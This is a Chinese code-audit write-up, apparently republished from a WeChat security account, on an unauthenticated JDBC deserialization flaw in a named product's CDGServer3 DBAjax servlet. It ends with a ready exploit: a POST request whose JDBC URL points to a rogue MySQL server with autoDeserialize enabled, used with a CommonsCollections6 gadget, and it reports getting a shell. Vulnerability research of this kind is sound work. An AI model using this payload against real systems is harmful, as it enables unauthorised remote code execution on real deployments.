代码审计：某S通未授权JDBC反序列化漏洞

需要配置mysql数据库依赖

这段代码是一个 HttpServlet 类的 doPost 方法，用于处理 POST 请求。在这个方法中，首先从请求参数中获取名为 “command” 的参数值，并将其存储在一个名为 command 的字符串变量中。然后，通过比较 “testConnection” 和 command 的值，忽略大小写，来确定是否执行与数据库连接测试相关的操作

public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {

String command = request.getParameter("command");
if ("testConnection".equalsIgnoreCase(command)) {
this.testConnection(request, response);
}
}

这段代码看起来是一个用于测试数据库连接的方法，主要是通过不同的数据库类型（MySQL、MSSQL、Oracle）来检查给定的数据库连接是否有效。

private void testConnection(HttpServletRequest request, HttpServletResponse response) throws IOException {

PrintWriter out = response.getWriter();
String userName = request.getParameter("userName");
String password = request.getParameter("password");
password = Constant.instance.getDecodeString(password, Constant.instance.DB_PWD);
String ip = request.getParameter("ip");
String[] values = request.getParameter("configvalues").split("\|");
String temp = values[values.length - 2];
String result;
String urlMaster;
String urlCobraDGServer;
if (CDGUtil.getDBType().equalsIgnoreCase("mysql")) {
result = "";
urlMaster = temp.replaceAll("^*(\*\.){3}\*", ip).replaceAll("CobraDGServer", "mysql");
result = result + this.connection(values[values.length - 1], urlMaster, userName, password);
urlCobraDGServer = temp.replaceAll("^*(\*\.){3}\*", ip);
result = result + this.connection(values[values.length - 1], urlCobraDGServer, userName, password);
out.println(result);
}

if (CDGUtil.getDBType().equalsIgnoreCase("mssql")) {
result = "";
urlMaster = "";
if (temp.contains("Log")) {
urlMaster = temp.replaceAll("^*(\*\.){3}\*", ip).replaceAll("CobraDGServerLog", "master");
} else {
urlMaster = temp.replaceAll("^*(\*\.){3}\*", ip).replaceAll("CobraDGServer", "master");
}

result = result + this.connection(values[values.length - 1], urlMaster, userName, password);
urlCobraDGServer = temp.replaceAll("^*(\*\.){3}\*", ip);
result = result + this.connection(values[values.length - 1], urlCobraDGServer, userName, password);
out.println(result);
}

if (CDGUtil.getDBType().equalsIgnoreCase("oracle")) {
result = "";
urlMaster = temp.replaceAll("^*(\*\.){3}\*", ip);
result = result + this.connection(values[values.length - 1], urlMaster, userName, password);
if (result.equals("1")) {
result = "11";
} else {
result = "00";
}

out.println(result);
}

}

这段代码是一个用于测试数据库连接的方法，它接受四个参数：driver（数据库驱动程序类名）、url（数据库连接URL）、userName（数据库用户名）和password（数据库密码）

private String connection(String driver, String url, String userName, String password) {

String result = "0";
Connection conn = null;

try {
Class.forName(driver);
DriverManager.setLoginTimeout(2);
conn = DriverManager.getConnection(url, userName, password);
result = "1";
} catch (Exception var16) {
log.error(var16);
} finally {
if (conn != null) {
try {
conn.close();
} catch (SQLException var15) {
log.error(var15);
}
}

}

return result;
}

这段代码是使用JavaScript和Ajax进行异步请求的前端代码，主要用于在用户界面上测试数据库连接
webapps/CDGServer3/config/DBConfig.jsp
jsp里面有对应传输的格式。

var url ='<%=request.getScheme()%>://<%=request.getServerName() + ":"

+ request.getServerPort() + request.getContextPath() + "/"
+ "DBAjax"%>' ;
var userName=document.getElementById("est.connection.username").value;
var password= document.getElementById("est.connection.password").value;
var ip = document.getElementById("est.connection.ip").value;
var params = "&command=testConnection&userName="+userName+"&password="+password+"&ip="+ip+"&configvalues="+values;
//alert(params);
var myAjax = new Ajax.Request(url,{method: 'post', parameters: params,onComplete: prototype_response});
function prototype_response(request){
var result = request.responseText.trim();
if(result == "11"){
alert('<%=rp.getString("config.sjkljcg1") %>');//数据库连接成功，并且CobraDGServer数据库连接成功!
userName=document.getElementById("est.connection.his.username").value;
password= document.getElementById("est.connection.his.password").value;
ip = document.getElementById("est.connection.his.ip").value;
params = "&command=testConnection&userName="+userName+"&password="+password+"&ip="+ip+"&configvalues="+values.replace("CobraDGServer", "CobraDGServerLog");
myAjax = new Ajax.Request(url,{method: 'post', parameters: params,onComplete: prototype_response});
function prototype_response(request){
var result = request.responseText.trim();
if(result == "11"){
alert('<%=rp.getString("config.info1") %>');
}else{
alert('<%=rp.getString("config.info2") %>');
}
}
}

综上所述：所有参数都可以控制，JDBC反序列化漏洞尝试

起一个恶意的mysql服务器, 使用的是MySQL_Fake_Server-master

配置好java，yso配置。打个CC6

EXP：

command=testConnection&userName=CommonsCollections6&password=&ip=10.211.55.2&configvalu
es=mysql|jdbc:mysql://10.211.55.2:3306/test?
detectCustomCollations=true%26autoDeserialize=true|com.mysql.jdbc.Driver

成功getshell

tabby的调用关系

原文始发于微信公众号（黑伞安全）：代码审计：某S通未授权JDBC反序列化漏洞